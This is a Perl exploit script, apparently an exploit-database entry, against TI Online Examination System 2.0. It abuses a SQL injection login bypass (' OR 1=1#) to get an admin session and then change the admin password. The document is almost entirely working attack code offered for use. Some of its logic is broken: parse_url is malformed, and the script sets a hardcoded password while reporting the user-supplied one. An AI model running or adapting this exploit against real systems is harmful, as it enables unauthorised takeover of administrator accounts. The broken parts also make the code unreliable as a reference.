#!/usr/bin/perl # ------------------------------------------------------------------------ # [+] TI Online Examination System 2.0 Admin Password Changer Exploit # ------------------------------------------------------------------------ # [*] Discovered by Juri Gianni - Turin,Italy # [*] staker - staker[at]hotmail[dot]it / shrod9[at]gmail[dot]com # [*] Discovered on 17/02/2017 # [*] Site Vendor: http://textusintentio.com/ # [*] Category: WebApp # [*] BUG: SQL Injection # -------------------------------------------------------------------------- # # # # ---------------------------------------------------------------------------- # [+] Based on login bypass (sql injection) # # Go to admin/index.php and insert: ' OR 1=1# as email and any password. # # You will be logged into the admin panel. # # ----------------------------------------------------------------------------- use strict; use IO::SOCKET::INET; my ($host,$new_password) = @ARGV; parse_url($host); sub parse_url() { $_[0] = $1; } } sub usage() { print "[*---------------------------------------------------------*]\n". "[* TI Online Examination System 2.0 Admin Password Changer *]\n". "[*---------------------------------------------------------*]\n". "[* Usage: perl web.pl [host] [new password] *]\n". "[* *]\n". "[* Options: *]\n". "[* [host] insert a valid host *]\n". "[* [path] insert a password *]\n". "[*---------------------------------------------------------*]\n"; } my ($PHPSESSID,$content,$packet) = (undef,undef,undef); my $data = "login_type=admin&email=' OR 1=1#&password=".$new_password; my $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $packet .= "POST /admin/index.php HTTP/1.1\r\n"; $packet .= "Host: oesv2.textusintentio.com\r\n"; $packet .= "User-Agent: Lynx (textmode)\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length:".length($data)."\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet.= $data; $socket->send($packet); while (<$socket>) { $content .= $_; } if($content =~ /PHPSESSID=(.+?);/) { $PHPSESSID = $1; } else { die "[-] Exploit Failed"; } my ($packet2,$data2,$content2) = (undef,undef,undef); my $pword = "shrod"; my $data2 = "old_pass=' OR 1=1#&new_pass=".$pword."&con_pass=".$pword."&submit=Add+new+user"; my $socket2 = new IO::Socket::INET( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ) or die $!; $packet2 .= "POST /admin/change_password.php HTTP/1.1\r\n"; $packet2 .= "Host: ".$host."\r\n"; $packet2 .= "User-Agent: Lynx (textmode)\r\n"; $packet2 .= "Cookie: PHPSESSID=".$PHPSESSID.";\r\n"; $packet2 .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet2 .= "Content-Length:".length($data2)."\r\n"; $packet2 .= "Connection: close\r\n\r\n"; $packet2 .= $data2; $socket2->send($packet2); while (<$socket2>) { $content2 .= $_; } if ( $content2 =~ /Password is successfully changed/ ) { print "[*] Exploit Successful\r\n[*] New Password: ".$new_password."\r\n"; } else { die "[-] Exploit Failed!"; }